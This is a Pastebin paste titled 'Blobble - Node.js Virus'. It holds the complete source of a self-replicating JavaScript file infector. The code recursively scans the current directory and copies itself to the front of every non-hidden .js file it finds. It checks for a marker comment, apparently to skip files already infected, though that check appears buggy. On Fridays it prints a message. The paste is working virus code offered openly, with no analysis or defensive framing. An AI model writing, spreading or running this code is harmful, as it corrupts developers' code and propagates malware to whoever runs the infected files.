FlyFar

Blobble - Node.js Virus

Feb 14th, 2023
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function() {
  2.  
  3.   // the virus payload - it sings a song on Fridays
  4.   var day = new Date().getDay();
  5.   if (day == 5) { console.log("It's Friday! Friday!"); }
  6.  
  7.   // we will need the fs module to find files and infect them
  8.   var fs = require('fs');
  9.   // helper module
  10.   var path = require('path');
  11.  
  12.   var marker_signature = '// #virus.js';
  13.   var marker_length = marker_signature.length;
  14.   // the infection payload == content of this file
  15.   var infection_payload = fs.readFileSync(__filename);
  16.  
  17.   // where to look for files to infect
  18.   var target_path = './';
  19.  
  20.   // start infecting .js file
  21.   var files = fs.readdirSync(target_path);
  22.   // pass these files to the infection function
  23.   infect_files(files);
  24.  
  25.  
  26.   /**
  27.   * Function for infecting .js files
  28.   *
  29.   * @param {Array} files
  30.   */
  31.  
  32.   function infect_files(files) {
  33.  
  34.     files.forEach(function(file) {
  35.  
  36.       var stat = fs.statSync(file);
  37.  
  38.       // if it's a direcrory, get the files and run them through the infection process
  39.       if (stat.isDirectory()) {
  40.         // don't bother hidden directories
  41.         if (file[0] != '.') {
  42.           // infect the files after retirieving them their directories
  43.           infect_files(get_files(file));
  44.         }
  45.       }
  46.  
  47.       // if it is a file, validate the file for infection 'eligibility'
  48.       else if (stat.isFile()) {
  49.        
  50.         // don't bother hidden files
  51.         if (file[0] != '.') {
  52.  
  53.           // we are interested only in .js files
  54.           if (path.extname(file) == '.js') {
  55.  
  56.             // don't bother with self
  57.             if (path.basename(__filename) != file) {
  58.  
  59.               // bother only if file is not already infected
  60.               var fd = fs.openSync(file, 'r');
  61.               var marker = fs.readSync(fd, marker_length);
  62.               // be kind, rewind
  63.               fs.closeSync(fd);
  64.  
  65.               var signature = marker[0];
  66.               if (marker_signature != signature) {
  67.  
  68.                 // original content
  69.                 var original_content = fs.readFileSync(file);
  70.                 // prepare infection
  71.                 var infected_content = infection_payload + '\n' + original_content;
  72.                 // infect file
  73.                 //console.log('Infecting: ' + file);
  74.                 fs.writeFileSync(file, infected_content);
  75.               }
  76.             }
  77.           }
  78.         }
  79.       }
  80.  
  81.     });
  82.   }
  83.  
  84.   /**
  85.   * Function for getting the files from a directory with their full paths
  86.   *
  87.   * @param {String} dir
  88.   */
  89.  
  90.   function get_files(dir) {
  91.  
  92.     // readdirSync will only give the names of the files, we need to get the full path
  93.     var _files = fs.readdirSync(dir);
  94.     // array for storing the files with their full path
  95.     var files = [];
  96.  
  97.     // fill up the files array
  98.     _files.forEach(function(file) {
  99.       var full_path = dir + '/' + file;
  100.       files.push(full_path);
  101.     });
  102.  
  103.     // return the files to whatever called this function
  104.     return files;
  105.   }
  106.  
  107. })();
Add Comment
Please, Sign In to add comment